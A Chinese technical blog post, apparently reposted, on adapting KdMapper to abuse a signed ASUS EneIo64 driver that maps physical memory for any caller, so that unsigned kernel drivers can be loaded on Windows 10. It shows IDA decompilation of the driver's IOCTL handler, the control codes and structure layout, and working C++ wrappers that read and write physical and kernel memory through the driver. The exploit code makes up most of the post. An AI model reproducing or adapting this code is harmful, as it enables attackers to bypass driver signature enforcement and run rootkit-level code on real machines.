1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动，本文是利用其它漏洞（参考《【转载】利用签名驱动漏洞加载未签名驱动》）做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

3.IDA分析

3.1 入口函数：

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        int v3; // ebx
        struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF

        DeviceObject = 0i64;
        DbgPrint("Entering DriverEntry", RegistryPath);
        RtlInitUnicodeString(&DestinationString, L"\\Device\\EneIo");
        v3 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x8010u, 0, 0, &DeviceObject);
        if (v3 < 0)
        {
                DbgPrint("ERROR: IoCreateDevice failed");
        }
        else
        {
                DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_11100;
                DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_11100;
                DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11100;
                DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;
                RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\EneIo");
                v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (v3 < 0)
                {
                        DbgPrint("ERROR: IoCreateSymbolicLink failed");
                        IoDeleteDevice(DeviceObject);
                }
        }
        DbgPrint("Leaving DriverEntry");
        return v3;
}

3.2 IRP_MJ_DEVICE_CONTROL

IRP_MJ_DEVICE_CONTROL对应的函数 sub_11100，其代码如下：

__int64 __fastcall sub_11100(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rsi
        MAP_PHYSICAL_MEMORY_INFO* pPhysicalMemoryInfo; // rbp
        ......
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        pPhysicalMemoryInfo = (MAP_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        switch (pIosp->MajorFunction)
        {
                ......
        case 0xEu:
                DbgPrint("IRP_MJ_DEVICE_CONTROL");
                nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
                switch (nIoControlCode)
                {
                case 0x80102040:
                        DbgPrint("IOCTL_WINIO_MAPPHYSTOLIN");
                        if (!(_DWORD)nInputBufferLength)
                                goto LABEL_13;
                        memmove(Src, pPhysicalMemoryInfo, nInputBufferLength);
                        ntStatusV20 = sub_11528((PHYSICAL_ADDRESS)Src[1], Src[0], &BaseAddress, &Handle, &Object);
                        if (ntStatusV20 >= 0)
                        {
                                memmove(pPhysicalMemoryInfo, Src, nInputBufferLength);
                                pIrp->IoStatus.Information = nInputBufferLength;
                        }
                        pIrp->IoStatus.Status = ntStatusV20;
                        break;
                case 0x80102044:
                        DbgPrint("IOCTL_WINIO_UNMAPPHYSADDR");
                        if (!(_DWORD)nInputBufferLength)
                                goto LABEL_13;
                        memmove(Src, pPhysicalMemoryInfo, nInputBufferLength);
                        pObjectV16 = Object;
                        pMappedAddressV17 = BaseAddress;
                        hSectionV18 = Handle;
                        DbgPrint("Entering UnmapPhysicalMemory");
                        ntStatusV19 = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, pMappedAddressV17);
                        if (ntStatusV19 < 0)
                                DbgPrint("ERROR: UnmapViewOfSection failed");
                        if (pObjectV16)
                                ObfDereferenceObject(pObjectV16);
                        ZwClose(hSectionV18);
                        DbgPrint("Leaving UnmapPhysicalMemory");
                        pIrp->IoStatus.Status = ntStatusV19;
                        break;
                ......
                default:
                        DbgPrint("ERROR: Unknown IRP_MJ_DEVICE_CONTROL");
                LABEL_13:
                        pIrp->IoStatus.Status = 0xC000000D;
                        goto LABEL_50;
                }
                break;
        }
LABEL_50:
        v21 = pIrp->IoStatus.Status;
        IofCompleteRequest(pIrp, 0);
        DbgPrint("Leaving WinIoDispatch");
        return v21;
}

  其中映射物理内存 ControlCode 为 0x80102040，相应的函数为 sub_11528 , 取消映射为 0x80102044。

3.3 映射物理内存

sub_11528 如下：

__int64 __fastcall sub_11528(PHYSICAL_ADDRESS BusAddress, ULONG_PTR nSize, PVOID* pMappedAddress, void** hSection, PVOID* pObject)
{
        PVOID* Object; // rbx
        NTSTATUS ntStatus; // edi
        BOOLEAN bMapStart; // al
        BOOLEAN bMapStartOK; // bl
        BOOLEAN bMapEnd; // al
        PVOID BaseAddress; // [rsp+50h] [rbp-78h] BYREF
        LARGE_INTEGER BusAddressa; // [rsp+58h] [rbp-70h] BYREF
        LARGE_INTEGER TranslatedAddress; // [rsp+60h] [rbp-68h] BYREF
        union _LARGE_INTEGER SectionOffset; // [rsp+68h] [rbp-60h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+70h] [rbp-58h] BYREF
        struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-48h] BYREF
        ULONG_PTR CommitSize; // [rsp+D8h] [rbp+10h] BYREF
        ULONG AddressSpace; // [rsp+E8h] [rbp+20h] BYREF

        CommitSize = nSize;
        BaseAddress = 0i64;
        DbgPrint("Entering MapPhysicalMemoryToLinearSpace");
        RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
        *hSection = 0i64;
        Object = pObject;
        *pObject = 0i64;
        ObjectAttributes.RootDirectory = 0i64;
        ObjectAttributes.SecurityDescriptor = 0i64;
        ObjectAttributes.SecurityQualityOfService = 0i64;
        ObjectAttributes.Length = 48;
        ObjectAttributes.Attributes = 64;
        ObjectAttributes.ObjectName = &DestinationString;
        ntStatus = ZwOpenSection(hSection, 0xF001Fu, &ObjectAttributes);
        if (ntStatus < 0)
        {
                DbgPrint("ERROR: ZwOpenSection failed");
        }
        else
        {
                ntStatus = ObReferenceObjectByHandle(*hSection, 0xF001Fu, 0i64, 0, Object, 0i64);
                if (ntStatus < 0)
                {
                        DbgPrint("ERROR: ObReferenceObjectByHandle failed");
                }
                else
                {
                        AddressSpace = 0;
                        TranslatedAddress = BusAddress;
                        BusAddressa.QuadPart = BusAddress.QuadPart + CommitSize;
                        bMapStart = HalTranslateBusAddress(Isa, 0, BusAddress, &AddressSpace, &TranslatedAddress);
                        AddressSpace = 0;
                        bMapStartOK = bMapStart;
                        bMapEnd = HalTranslateBusAddress(Isa, 0, BusAddressa, &AddressSpace, &BusAddressa);
                        if (bMapStartOK && bMapEnd)
                        {
                                SectionOffset = TranslatedAddress;
                                CommitSize = BusAddressa.QuadPart - TranslatedAddress.QuadPart;
                                ntStatus = ZwMapViewOfSection(
                                        *hSection,
                                        (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                        &BaseAddress,
                                        0i64,
                                        BusAddressa.QuadPart - TranslatedAddress.QuadPart,
                                        &SectionOffset,
                                        &CommitSize,
                                        ViewShare,
                                        0,
                                        0x204u);
                                if (ntStatus == 0xC0000018)
                                        ntStatus = ZwMapViewOfSection(
                                                *hSection,
                                                (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                                &BaseAddress,
                                                0i64,
                                                CommitSize,
                                                &SectionOffset,
                                                &CommitSize,
                                                ViewShare,
                                                0,
                                                4u);
                                if (ntStatus >= 0)
                                {
                                        BaseAddress = (char*)BaseAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart;
                                        *pMappedAddress = BaseAddress;
                                }
                                else
                                {
                                        DbgPrint("ERROR: ZwMapViewOfSection failed");
                                }
                        }
                        else
                        {
                                DbgPrint("ERROR: HalTranslateBusAddress failed");
                        }
                }
        }
        if (ntStatus < 0)
                ZwClose(*hSection);
        DbgPrint("Leaving MapPhysicalMemoryToLinearSpace");
        return (unsigned int)ntStatus;
}

  其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存，在代码过程中会遇到物理页面和虚拟页面不一一对应的问题，问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。

3.4 MAP_PHYSICAL_MEMORY_INFO结构

00000000 MAP_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, align=0x8, copyof_380)
00000000 Size            LARGE_INTEGER ?
00000008 PhysicalAddress PHYSICAL_ADDRESS ?
00000010 hSection        dq ?                    ; offset
00000018 pMappedAddress  dq ?                    ; offset
00000020 pObject         dq ?                    ; offset
00000028 MAP_PHYSICAL_MEMORY_INFO ends

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_ENEIO64_PHYSICAL_MEMORY_INFO {
                LARGE_INTEGER Size;
                PHYSICAL_ADDRESS PhysicalAddress;
                PVOID hSection;
                PVOID  pMappedAddress;
                PVOID pObject;
        } ENEIO64_PHYSICAL_MEMORY_INFO, * PENEIO64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define ENEIO64_DEVICE_TYPE          (DWORD)0x8010

#define ENEIO64_MAP_SECTION_FUNCID   (DWORD)0x810
#define ENEIO64_UNMAP_SECTION_FUNCID (DWORD)0x811

#define IOCTL_ENEIO64_MAP_USER_PHYSICAL_MEMORY      \
    CTL_CODE(ENEIO64_DEVICE_TYPE, ENEIO64_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040

#define IOCTL_ENEIO64_UNMAP_USER_PHYSICAL_MEMORY    \
    CTL_CODE(ENEIO64_DEVICE_TYPE, ENEIO64_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102044

4.2 .c文件

NTSTATUS asus_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL asus_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

PVOID asus_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes,
        PVOID* Object,
        PHANDLE pHandle
)
{
        ULONG_PTR offset;
        ULONG mapSize;
        ENEIO64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        offset = PhysicalAddress & ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;

        request.PhysicalAddress.QuadPart = PhysicalAddress;
        request.Size.QuadPart = mapSize;
        request.pMappedAddress = NULL;
        request.pObject = NULL;
        request.hSection = NULL;

        if (SuperCallDriver(DeviceHandle,
                IOCTL_ENEIO64_MAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request)))
        {
                /*Log(L"[!] SuperMapMemory, Address:0x" << std::setbase(16) << request.MappedBaseAddress << std::endl);*/
                if (Object)
                {
                        *Object = request.pObject;
                }
                if (pHandle)
                {
                        *pHandle = request.hSection;
                }
                return request.pMappedAddress;
        }

        return NULL;
}

VOID asus_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID SectionToUnmap,
        PVOID Object,
        HANDLE Handle
)
{
        ENEIO64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        request.pMappedAddress = SectionToUnmap;
        request.pObject = Object;
        request.hSection = Handle;


        SuperCallDriver(DeviceHandle,
                IOCTL_ENEIO64_UNMAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request));
}

BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        ULONG_PTR offset;
        PVOID Object = NULL;
        HANDLE hSection = NULL;
        //
        // Map physical memory section.
        //
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes,
                &Object,
                &hSection);

        if (mappedSection) {

                offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));

                __try {

                        if (DoWrite) {
                                RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
                        }

                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }

                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection,
                        Object,
                        hSection);

        }
        else {
                dwError = GetLastError();
        }

        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

5. 运行效果

  Windows 10 22H2环境上运行的效果如下，其中驱动 HelloWorld.sys为未签名的驱动，其详细说明见文章《KdMapper被加载驱动的实现》。

本栏目推荐文章
• 多项式定积分计算软件2025 64位WIN版下载Polynomial definite integral calculation software 2025 64 bit WIN version download
• 解析x86与x64：架构之争、性能较量与未来趋势
• win10/win11安装MinGW-w64（转）
• Base64编码：数据传输的安全使者
• android编译kanzi 问题 (3) Build command failed.ninja: error: '../../../../../../lib/android_gradle/ES3_Release/arm64-v8a/xxxxx.so', needed by 'xxxxxx.so', missing and no known rule to make it
• ImageClipboard js粘贴剪切板图片，已测试，可用，可获得base64
• Base64 转码
• ubuntu安装mysql8，debian安装mysql8，linux安装mysql8，x86_64架构，deb包
• 在线Base64编码/加密/解密工具
• 基于centos 7 x86_64 安装playwright框架

KdMapper EneIo ASUS sys 64kdmapper eneio asus sys kdmapper glckio asus sys kdmapper asmmap asus sys kdmapper atszio asus sys kdmapper gmer sys 64 kdmapper phymemx huawei sys kdmapper aswarpot avg sys kdmapper micsys msio sys kdmapper realix hwinfo sys kdmapper atillk ati sys